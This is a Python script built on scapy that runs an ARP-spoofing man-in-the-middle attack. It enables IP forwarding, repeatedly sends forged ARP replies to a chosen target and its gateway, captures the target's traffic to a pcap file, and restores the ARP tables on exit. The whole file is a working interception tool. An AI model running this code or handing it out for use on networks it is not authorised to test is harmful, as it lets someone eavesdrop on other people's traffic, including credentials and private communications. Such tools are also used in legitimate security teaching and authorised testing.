import os
import signal
import sys
import threading
from time import sleep

from scapy.layers.l2 import ARP
# Given an IP, get the MAC. Broadcast ARP Request for a IP Address. Should recieve
# an ARP reply with MAC Address
from scapy.sendrecv import send, sniff, sr
from scapy.utils import wrpcap


# modified from https://gist.githubusercontent.com/ismailakkila/cbe017acba36d239d6cd6d6c56858720/raw/5c740c7c6c9aa79bf308edf34a4ebf8680d9996e/ch4_arp_poison.py


def get_mac(ip_address):
    # ARP request is constructed. sr function is used to send/ receive a layer 3 packet
    # Alternative Method using Layer 2: resp, unans =  srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
    for s, r in resp:
        return r[ARP].hwsrc
    return None


# Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with
# correct MAC and IP Address information
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
    print("[*] Disabling IP forwarding")
    # Disable IP Forwarding on a mac
    os.system("sudo sysctl -w net.ipv4.ip_forward=0")
    # kill process on a mac
    os.kill(os.getpid(), signal.SIGTERM)


# Keep sending false ARP replies to put our machine in the middle to intercept packets
# This will use our interface MAC address as the hwsrc for the ARP reply
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] Started ARP poison attack [CTRL-C to stop]")
    try:
        while True:
            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
            sleep(2)
    except KeyboardInterrupt:
        print("[*] Stopped ARP poison attack. Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)


def main(target_ip, gateway_ip):
    # Start the script
    print("[*] Starting script: arpspoo.py")
    print("[*] Enabling IP forwarding")
    # Enable IP Forwarding on a mac
    os.system("sudo sysctl -w net.ipv4.ip_forward=1")
    print(f"[*] Gateway IP address: {gateway_ip}")
    print(f"[*] Target IP address: {target_ip}")

    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print("[!] Unable to get gateway MAC address. Exiting..")
        sys.exit(0)
    else:
        print(f"[*] Gateway MAC address: {gateway_mac}")

    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!] Unable to get target MAC address. Exiting..")
        sys.exit(0)
    else:
        print(f"[*] Target MAC address: {target_mac}")

    # ARP poison thread
    poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()

    # Sniff traffic and write to file. Capture is filtered on target machine
    try:
        sniff_filter = "ip host " + target_ip
        print(f"[*] Starting network capture. Filter: {sniff_filter}")
        packets = sniff(filter=sniff_filter)
        wrpcap(target_ip + "_capture.pcap", packets)
        print(f"[*] Stopping network capture..Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
    except KeyboardInterrupt:
        print(f"[*] Stopping network capture..Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
        sys.exit(0)


if __name__ == "__main__":
    import optparse

    parser = optparse.OptionParser()

    parser.add_option(
        '-t', '--target-ip', dest='target_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-g', '--gateway-ip', dest='gateway_ip',
        help='Gateway IP address to bind to')
    options, args = parser.parse_args()

    main(options.target_ip, options.gateway_ip)
